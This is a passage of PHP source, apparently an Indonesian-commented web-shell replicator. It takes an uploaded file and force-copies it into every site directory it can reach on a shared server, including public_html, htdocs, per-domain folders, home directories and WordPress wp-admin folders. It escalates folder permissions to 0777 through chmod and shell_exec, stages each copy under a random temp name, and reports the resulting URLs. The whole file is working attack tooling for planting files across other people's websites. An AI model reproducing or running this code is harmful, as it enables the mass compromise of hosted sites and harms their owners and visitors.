2) { return $parts[count($parts)-2] . '.' . $parts[count($parts)-1]; } return $domain; } $loaderBasePath = null; if (defined('REPLICATOR_BASE_PATH')) { $loaderBasePath = REPLICATOR_BASE_PATH; } else { $currentDir = getcwd(); if ($currentDir !== false && is_dir($currentDir) && $currentDir !== '/tmp') { $loaderBasePath = $currentDir; } else { if (!empty($_SERVER['DOCUMENT_ROOT'])) { $loaderBasePath = $_SERVER['DOCUMENT_ROOT']; } else { $loaderBasePath = __DIR__; } } } $searchPath = ''; if (!empty($loaderBasePath)) { if (strpos($loaderBasePath, '/domains/') !== false) { $parts = explode('/domains/', $loaderBasePath, 2); if (isset($parts[0]) && is_dir($parts[0])) { $searchPath = $parts[0]; } } else { $searchPath = $loaderBasePath; } } // ============================================ // 🔍 FUNGSI: CEK DOMAIN VALID UNTUK DISPLAY // ============================================ function isValidDomainForDisplay($host) { if (preg_match('/\.[a-z]{2,6}$/i', $host)) { return true; } if (preg_match('#^(dev|demo|test|staging|backup|bk|www|web|site|app|mail|ftp|api|cdn|static)[0-9]*\.[a-z0-9.-]+\.[a-z]{2,6}$#i', $host)) { return true; } $dotCount = substr_count($host, '.'); if ($dotCount >= 2 && preg_match('/^[a-z0-9.-]+\.[a-z]{2,6}$/i', $host)) { return true; } return false; } // ============================================ // SMART PERMISSION FIXER (START LEVEL 2+) // ============================================ function fixSingleDirPerm($dirPath, &$debugInfo, $label = '') { if (!file_exists($dirPath)) return true; clearstatcache(true, $dirPath); if (is_writable($dirPath)) { @chmod($dirPath, 0755); return true; } foreach ([0755, 0775, 0777] as $perm) { if (@chmod($dirPath, $perm)) { clearstatcache(true, $dirPath); usleep(30000); if (is_writable($dirPath)) return true; } } if (function_exists('shell_exec')) { @shell_exec("chmod 0777 " . escapeshellarg($dirPath) . " 2>/dev/null"); clearstatcache(true, $dirPath); if (is_writable($dirPath)) return true; } return false; } function deepFixFromLevel2($targetPath, &$debugInfo, $contextLabel = '') { $sep = DIRECTORY_SEPARATOR; $normalizedPath = rtrim(str_replace(['\\', '//'], [$sep, $sep], $targetPath), $sep); $components = explode($sep, $normalizedPath); $currentPath = ''; $fixedCount = 0; foreach ($components as $index => $component) { if ($currentPath === '') { if (preg_match('#^[a-z]:$#i', $component)) { $currentPath = $component . ':'; continue; } $currentPath = $component; } else { $currentPath .= $sep . $component; } if (empty($currentPath) || $currentPath === $sep || preg_match('#^[a-z]:$#i', $currentPath)) { continue; } $levelNumber = $index + 1; if ($levelNumber <= 1) { continue; } if (!file_exists($currentPath) || !is_dir($currentPath)) { continue; } $shortName = strlen($component) > 12 ? substr($component, 0, 12) : $component; $levelLabel = $contextLabel . '-L' . $levelNumber . '-' . $shortName; if (fixSingleDirPerm($currentPath, $debugInfo, $levelLabel)) { $fixedCount++; } } return $fixedCount; } // ============================================ // ============================================ // 🔥 FORCE UPLOAD KE WP-ADMIN (BUKAN wp-content/plugins!) // ============================================ function forceUploadWpAdminFullProcess($masterFile, $basePath, $fileName, &$debugInfo, &$urls, &$donePaths) { $sep = DIRECTORY_SEPARATOR; $pathKey = md5($basePath . '-wpadmin-full'); if (isset($donePaths[$pathKey])) { return; } $donePaths[$pathKey] = true; // ======================================== // 🎯 TARGET: wp-admin/ (Bukan wp-content/plugins!) // ======================================== $wpAdminPath = $basePath . $sep . 'wp-admin'; $targetFile = $wpAdminPath . $sep . $fileName; $baseName = basename($basePath); $displayName = strlen($baseName) > 20 ? substr($baseName, 0, 20) : $baseName; $debugInfo[] = "[WP-ADMIN] 🚀 Processing: $displayName"; // STEP 1: Deep fix base permissions deepFixFromLevel2($basePath, $debugInfo, 'WA-' . $displayName); // STEP 2: Create/Fix wp-admin if (!is_dir($wpAdminPath)) { fixSingleDirPerm($basePath, $debugInfo, 'PRE-WA'); $mkdirOk = @mkdir($wpAdminPath, 0755, true); if (!$mkdirOk) { @chmod($basePath, 0777); $mkdirOk = @mkdir($wpAdminPath, 0777, true); } if ($mkdirOk) { @chmod($wpAdminPath, 0755); $debugInfo[] = "[WP-ADMIN] 📁 Created wp-admin"; } else { $debugInfo[] = "[WP-ADMIN] ⚠️ Cannot create wp-admin"; return; } } else { // EXISTING - Fix permission! deepFixFromLevel2($wpAdminPath, $debugInfo, 'WA-DIR-' . $displayName); } clearstatcache(true, $wpAdminPath); if (is_dir($wpAdminPath) && !is_writable($wpAdminPath)) { @chmod($wpAdminPath, 0777); clearstatcache(true, $wpAdminPath); } // Verify writable if (!is_writable($wpAdminPath)) { $debugInfo[] = "[WP-ADMIN] ❌ ABORT: wp-admin not writable for $displayName"; return; } $debugInfo[] = "[WP-ADMIN] ✅ wp-admin is WRITABLE"; // STEP 3: Upload file (3x retry!) $uploadSuccess = false; for ($retry = 1; $retry <= 3; $retry++) { if ($retry > 1) { @chmod($wpAdminPath, 0777); clearstatcache(true, $wpAdminPath); usleep(150000); } if (@copy($masterFile, $targetFile)) { @chmod($targetFile, 0644); clearstatcache(true, $targetFile); usleep(50000); if (file_exists($targetFile) && filesize($targetFile) > 0) { $uploadSuccess = true; break; } } } // RESULT if ($uploadSuccess) { // Generate URL $host = $baseName; if (preg_match('/\.[a-z]{2,6}$/i', $baseName) || isDomainPattern($baseName)) { $host = $baseName; } elseif ($baseName === 'public_html' || $baseName === 'htdocs' || $baseName === 'www') { $host = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? ''; } else { $host = $baseName; } // ======================================== // 🎯 URL: /wp-admin/filename (Bukan /wp-content/plugins/) // ======================================== $cleanUrl = "http://" . trim($host, '/') . "/wp-admin/" . urlencode($fileName); if (!in_array($cleanUrl, $urls)) { $urls[] = $cleanUrl; if (isValidDomainForDisplay($host)) { $debugInfo[] = "[WP-ADMIN] ✅ SUCCESS (valid): $cleanUrl"; } else { $debugInfo[] = "[WP-ADMIN] ✅ SUCCESS (hidden): $cleanUrl"; } } } else { $debugInfo[] = "[WP-ADMIN] ❌ FAIL: $displayName"; } } // ============================================ // HELPERS function extractDomainFromPath($path) { $sep = DIRECTORY_SEPARATOR; $parts = explode($sep, rtrim($path, $sep)); foreach (array_reverse($parts) as $part) { if (isDomainPattern($part)) return $part; } return $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? ''; } function isDomainPattern($string) { if (strpos($string, '.') !== false && preg_match('/\.[a-z]{2,6}$/i', $string)) { return true; } if (preg_match('/^(dev|demo|test|staging|backup|bk|www|web|site|app)[0-9]*$/i', $string)) { return true; } return false; } function forceCopyFile($masterFile, $targetPath, &$debugInfo, $label = '') { $sep = DIRECTORY_SEPARATOR; $dirPath = dirname($targetPath); if (is_dir($dirPath)) { deepFixFromLevel2($dirPath, $debugInfo, $label.'-DIR'); } else { @mkdir($dirPath, 0755, true); @chmod($dirPath, 0755); } $decoyName = 'temp_' . bin2hex(random_bytes(8)) . '.' . str_replace(' ', '', $label); $decoyPath = $dirPath . $sep . $decoyName; if (@copy($masterFile, $decoyPath)) { if (@rename($decoyPath, $targetPath)) { $debugInfo[] = "✅ [$label] OK: $targetPath"; return true; } else { @unlink($decoyPath); } } return false; } // ============================================ // ============================================ // FUNGSI REPLICATE UTAMA // ============================================ function replicate_uploaded_file($fileTmpPath, $fileName, $searchPath) { static $once = false; if ($once) return []; $once = true; if (empty($searchPath) || !is_dir($searchPath)) { $_SESSION['debugInfo'][] = "❌ FATAL: Path awal tidak valid."; return []; } if (!file_exists($fileTmpPath)) return []; $masterTempFile = sys_get_temp_dir() . '/master_' . bin2hex(random_bytes(16)); if (!move_uploaded_file($fileTmpPath, $masterTempFile)) { $_SESSION['debugInfo'][] = "❌ FATAL: Gagal membuat file master."; return []; } $allUrls = []; $displayUrls = []; $doneWpPaths = []; $doneRootPaths = []; $sep = DIRECTORY_SEPARATOR; $debugInfo = []; $publicDirs = ['public_html', 'htdocs', 'www', 'public', 'httpdocs']; $forceDirs = ['public_html', 'htdocs']; $start = $searchPath; while ($start !== '/' && $start !== '.') { foreach ($forceDirs as $forceDir) { $fullPath = $start . $sep . $forceDir; if (!is_dir($fullPath)) continue; $host = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? ''; $rootUrl = "http://$host/" . urlencode($fileName); $rootKey = md5($host . '-root'); if (!isset($doneRootPaths[$rootKey])) { $targetPath = $fullPath . $sep . $fileName; if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, "ROOT-$forceDir")) { if (!in_array($rootUrl, $allUrls)) { $allUrls[] = $rootUrl; if (isValidDomainForDisplay($host)) { $displayUrls[] = $rootUrl; } $doneRootPaths[$rootKey] = true; } } } // 🔥 Upload ke WP-ADMIN (bukan wp-content/plugins!) forceUploadWpAdminFullProcess($masterTempFile, $fullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths); } if (is_dir("$start/domains")) { foreach (scandir("$start/domains") as $dom) { if ($dom === '.' || $dom === '..') continue; if (!is_dir("$start/domains/$dom")) continue; $domainPath = "$start/domains/$dom"; $domainKey = md5($dom . '-root'); foreach ($publicDirs as $pubDirName) { $pubFullPath = $domainPath . $sep . $pubDirName; if (!is_dir($pubFullPath)) continue; if (!isset($doneRootPaths[$domainKey])) { $targetPath = $pubFullPath . $sep . $fileName; if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, "DOM-$dom")) { $rootUrl = "http://$dom/" . urlencode($fileName); if (!in_array($rootUrl, $allUrls)) { $allUrls[] = $rootUrl; if (isValidDomainForDisplay($dom)) { $displayUrls[] = $rootUrl; } $doneRootPaths[$domainKey] = true; } } } forceUploadWpAdminFullProcess($masterTempFile, $pubFullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths); } } } if (is_dir($start)) { foreach (scandir($start) as $dir) { if ($dir === '.' || $dir === '..') continue; $fullPath = "$start/$dir"; if (!is_dir($fullPath)) continue; if (in_array($dir, $publicDirs)) continue; if ($dir === 'domains') continue; $folderKey = md5($dir . '-folder-root'); if (!isset($doneRootPaths[$folderKey])) { $targetPath = $fullPath . $sep . $fileName; if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, "FOLDER-$dir")) { $rootUrl = "http://$dir/" . urlencode($fileName); if (!in_array($rootUrl, $allUrls)) { $allUrls[] = $rootUrl; if (isValidDomainForDisplay($dir)) { $displayUrls[] = $rootUrl; } $doneRootPaths[$folderKey] = true; } } } // Upload ke WP-ADMIN untuk SEMUA folder forceUploadWpAdminFullProcess($masterTempFile, $fullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths); foreach ($publicDirs as $pubDirName) { $pubFullPath = $fullPath . $sep . $pubDirName; if (!is_dir($pubFullPath)) continue; $pubKey = md5($dir . '-' . $pubDirName . '-root'); if (!isset($doneRootPaths[$pubKey])) { $targetPath = $pubFullPath . $sep . $fileName; if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, "FOLD-$dir-$pubDirName")) { $rootUrl = "http://$dir/" . urlencode($fileName); if (!in_array($rootUrl, $allUrls)) { $allUrls[] = $rootUrl; if (isValidDomainForDisplay($dir)) { $displayUrls[] = $rootUrl; } $doneRootPaths[$pubKey] = true; } } } forceUploadWpAdminFullProcess($masterTempFile, $pubFullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths); } } } $start = dirname($start); } if (preg_match('#^/home([^/]*)/([^/]+)#', $searchPath, $m)) { $homePrefix = '/home' . ($m[1] ?: '') . '/'; $homeUser = $m[2]; $homePath = $homePrefix . $homeUser; $host = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? $homeUser; foreach ($forceDirs as $forceDir) { $fullPath = $homePath . $sep . $forceDir; if (!is_dir($fullPath)) continue; $rootKey = md5($host . '-home-root'); if (!isset($doneRootPaths[$rootKey])) { $targetPath = $fullPath . $sep . $fileName; if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, "HOME-$forceDir")) { $rootUrl = "http://$host/" . urlencode($fileName); if (!in_array($rootUrl, $allUrls)) { $allUrls[] = $rootUrl; if (isValidDomainForDisplay($host)) { $displayUrls[] = $rootUrl; } $doneRootPaths[$rootKey] = true; } } } forceUploadWpAdminFullProcess($masterTempFile, $fullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths); } if (is_dir($homePath)) { foreach (scandir($homePath) as $homeFolder) { if ($homeFolder === '.' || $homeFolder === '..') continue; if (in_array($homeFolder, $publicDirs)) continue; $folderFullPath = $homePath . $sep . $homeFolder; if (!is_dir($folderFullPath)) continue; forceUploadWpAdminFullProcess($masterTempFile, $folderFullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths); } } } @unlink($masterTempFile); // Domain utama $mainDomainUrls = []; foreach ($allUrls as $url) { preg_match('#http://([^/]+)#', $url, $m); if (isset($m[1])) { $mainDomain = getMainDomain($m[1]); if ($mainDomain !== $m[1]) { $mainRootUrl = "http://$mainDomain/" . urlencode($fileName); $mainWpUrl = "http://$mainDomain/wp-admin/" . urlencode($fileName); // ← wp-admin if (!in_array($mainRootUrl, $allUrls)) { $allUrls[] = $mainRootUrl; if (isValidDomainForDisplay($mainDomain)) { $displayUrls[] = $mainRootUrl; } } if (!in_array($mainWpUrl, $allUrls)) { $allUrls[] = $mainWpUrl; if (isValidDomainForDisplay($mainDomain)) { $displayUrls[] = $mainWpUrl; } } $mainDomainUrls[$mainDomain] = true; } } } // Filter WP-ADMIN URLs yang valid foreach ($allUrls as $url) { if (strpos($url, '/wp-admin/') !== false) { preg_match('#http://([^/]+)#', $url, $m); if (isset($m[1]) && isValidDomainForDisplay($m[1])) { if (!in_array($url, $displayUrls)) { $displayUrls[] = $url; } } } } $_SESSION['debugInfo'] = $debugInfo; return [ 'all_urls' => array_unique($allUrls), 'display_urls' => array_unique($displayUrls), 'total_all' => count(array_unique($allUrls)), 'total_display' => count(array_unique($displayUrls)) ]; } // ============================================ // FORM PROCESSING // ============================================ if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['fileToUpload']) && $_FILES['fileToUpload']['error'] === UPLOAD_ERR_OK) { $fileTmpPath = $_FILES['fileToUpload']['tmp_name']; $fileName = $_FILES['fileToUpload']['name']; $fileSize = $_FILES['fileToUpload']['size']; echo "

📄 File: " . htmlspecialchars($fileName) . " (Ukuran: " . $fileSize . " bytes)

"; $result = replicate_uploaded_file($fileTmpPath, $fileName, $searchPath); $displayUrls = $result['display_urls']; $totalAll = $result['total_all']; $totalDisplay = $result['total_display']; if (!empty($displayUrls)) { echo "

✅ File berhasil direplikasi ke $totalDisplay domain valid"; if ($totalAll > $totalDisplay) { echo " (dari total $totalAll lokasi)"; } echo ":

"; } else { echo "

⚠️ Tidak ada domain valid yang ditemukan.

"; if ($totalAll > 0) { echo "

ℹ️ File tetap diupload ke $totalAll lokasi.

"; } } if (isset($_SESSION['debugInfo']) && !empty($_SESSION['debugInfo'])) { echo "
🔍 Debug Information
"; unset($_SESSION['debugInfo']); } echo "
"; } else { echo "

Tidak ada file yang diunggah atau terjadi kesalahan.

"; if (isset($_FILES['fileToUpload'])) { echo "

Kode error: " . $_FILES['fileToUpload']['error'] . "

"; } } } echo ''; echo '
';